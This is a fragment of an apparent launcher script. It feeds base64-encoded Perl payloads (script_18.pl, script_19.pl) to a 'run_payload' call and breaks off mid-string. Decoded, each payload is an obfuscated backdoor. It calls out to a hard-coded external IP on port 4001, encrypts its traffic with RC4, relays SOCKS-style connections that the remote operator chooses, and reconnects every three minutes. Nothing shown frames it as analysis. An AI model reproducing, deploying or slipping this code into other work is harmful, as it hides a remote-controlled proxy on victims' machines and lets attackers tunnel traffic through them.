FycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_18.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY3JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_19.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY4JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAo